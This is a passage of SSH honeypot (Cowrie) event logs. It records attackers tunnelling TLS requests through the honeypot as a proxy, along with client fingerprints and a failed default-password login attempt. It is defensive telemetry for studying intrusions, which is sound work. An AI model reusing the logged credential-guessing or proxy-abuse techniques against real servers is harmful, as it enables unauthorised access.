5G\"\\xf9L\\x9ah\\x9e*\\xf7\\x0b\\\\H\\xc9\\x0c\\x11\\t\\xd1\\xdd\\xa3Txw\\xa1\\x94Caz8q\\x97\\t\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 34.254.77.2:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xb3\\x85\\x05\\x04\\x8c\\xd6X\\xc3\\x83O$:\\xf5\\xc3\\x84m\\xdd\\x0c)\\xf5\\xa4\\x04-\\x8c\\xd1y\\x98\\x18ty\\xb8\\xbc \\x15<\\xbe\\x83Z\\xfe\\xb2\\xd0W\\x83\\xab\\r\\xca\\x86\\xd4\\xc4FAq\\xe7\\xba\\xc8[\\xe7\\xa2\\x99\\xc8\\xac\\xd1\\x1d\\x84\\r\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 5G\"\\xf9L\\x9ah\\x9e*\\xf7\\x0b\\\\H\\xc9\\x0c\\x11\\t\\xd1\\xdd\\xa3Txw\\xa1\\x94Caz8q\\x97\\t\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:57.121787Z","src_ip":"185.156.73.233","session":"1c3538595664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.30.157.36","dst_port":443,"src_ip":"185.156.73.233","src_port":48348,"message":"direct-tcp connection request to 184.30.157.36:443 from 127.0.0.1:48348","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:29:58.633258Z","session":"1c3538595664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.30.157.36","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.30.157.36:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:30:00.472992Z","src_ip":"185.156.73.233","session":"1c3538595664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.30.157.36","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbd\\xbd\\xfd\\x1dh\\x84.o\\x03:\\xfe\\x98\\xac\\x02\\xf8\\xa2\\xe3\\xa9\\xb4\\xcc\\xd1\\xcehW\\xa9N\\xf9\\x07\\xa9\\xf3\\x0b\\xe1 \\xbc\\xe6\\xcd5\\xa5\\xda\\xea\\xa5\\x9cI*&L\"\\xce\\x07g\\xf2Hx\\xdc\\x86\\x12\\x90I\\xfae.H\\xa3f\\xf2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x1e\\\\\\xf4\\xb5=\\x06_\\x07\\xe6\\x9at\\xe5\\x98l\\xc5\\xe9\\xf6\\xc0g\\x8b-5\\xe0!\\xa7f\\x8e\\xe5\\xdb\\xb1\\xdc\\x1d\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 184.30.157.36:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbd\\xbd\\xfd\\x1dh\\x84.o\\x03:\\xfe\\x98\\xac\\x02\\xf8\\xa2\\xe3\\xa9\\xb4\\xcc\\xd1\\xcehW\\xa9N\\xf9\\x07\\xa9\\xf3\\x0b\\xe1 \\xbc\\xe6\\xcd5\\xa5\\xda\\xea\\xa5\\x9cI*&L\"\\xce\\x07g\\xf2Hx\\xdc\\x86\\x12\\x90I\\xfae.H\\xa3f\\xf2\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x1e\\\\\\xf4\\xb5=\\x06_\\x07\\xe6\\x9at\\xe5\\x98l\\xc5\\xe9\\xf6\\xc0g\\x8b-5\\xe0!\\xa7f\\x8e\\xe5\\xdb\\xb1\\xdc\\x1d\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:30:00.477042Z","src_ip":"185.156.73.233","session":"1c3538595664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.155.119","dst_port":443,"src_ip":"185.156.73.233","src_port":49928,"message":"direct-tcp connection request to 142.251.155.119:443 from 127.0.0.1:49928","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:30:00.926713Z","session":"1c3538595664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.155.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.155.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:30:02.027441Z","src_ip":"185.156.73.233","session":"1c3538595664","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.155.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03l\\x7f>\\x94\\xd0\\xad\\x8d\\xc6&\\x80O\\xd3\\xea&\\xc0c\\xbe\\xa3e\\x1b\\xfd\\xe2S(\\x1b\\xe3\\xc9R\\xd6\\xfa%Y |\\x93\\x91\\xc9\\xc2WJ6\\x97\\xe2\\x8d\\x1doWHQZ2\\x87\\x93\\xa8s3\\xea\\xd7\\x0e$AhA\\xd0,\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa6\\x02\\xc8]\\xef\\xb8o_\\xdb\\xd9\\rh\\xf7\\xaf;,q-\\x96a\\xc8=l.\\xc3\\xc3`j\\xd5\\xc9\\x084\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.155.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03l\\x7f>\\x94\\xd0\\xad\\x8d\\xc6&\\x80O\\xd3\\xea&\\xc0c\\xbe\\xa3e\\x1b\\xfd\\xe2S(\\x1b\\xe3\\xc9R\\xd6\\xfa%Y |\\x93\\x91\\xc9\\xc2WJ6\\x97\\xe2\\x8d\\x1doWHQZ2\\x87\\x93\\xa8s3\\xea\\xd7\\x0e$AhA\\xd0,\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xa6\\x02\\xc8]\\xef\\xb8o_\\xdb\\xd9\\rh\\xf7\\xaf;,q-\\x96a\\xc8=l.\\xc3\\xc3`j\\xd5\\xc9\\x084\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:30:02.031387Z","src_ip":"185.156.73.233","session":"1c3538595664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:30:03.284916Z","src_ip":"185.156.73.233","session":"1c3538595664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"21.1","message":"Connection lost after 21.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:30:13.703626Z","src_ip":"185.156.73.233","session":"762d7fa038b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40936,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c023b1efab5","protocol":"ssh","message":"New connection: 2.57.122.208:40936 (159.203.135.109:22) [session: 2c023b1efab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:31:43.476464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:31:43.483524Z","src_ip":"2.57.122.208","session":"2c023b1efab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:31:43.579200Z","src_ip":"2.57.122.208","session":"2c023b1efab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:31:43.866466Z","src_ip":"2.57.122.208","session":"2c023b1efab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:31:45.090975Z","src_ip":"2.57.122.208","session":"2c023b1efab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":51260,"dst_ip":"159.203.135.109","dst_port":22,"session":"7968887a866e","protocol":"ssh","message":"New connection: 45.148.10.121:51260 (159.203.135.109:22) [session: 7968887a866e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:34.441065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T23:32:34.446237Z","src_ip":"45.148.10.121","session":"7968887a866e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.co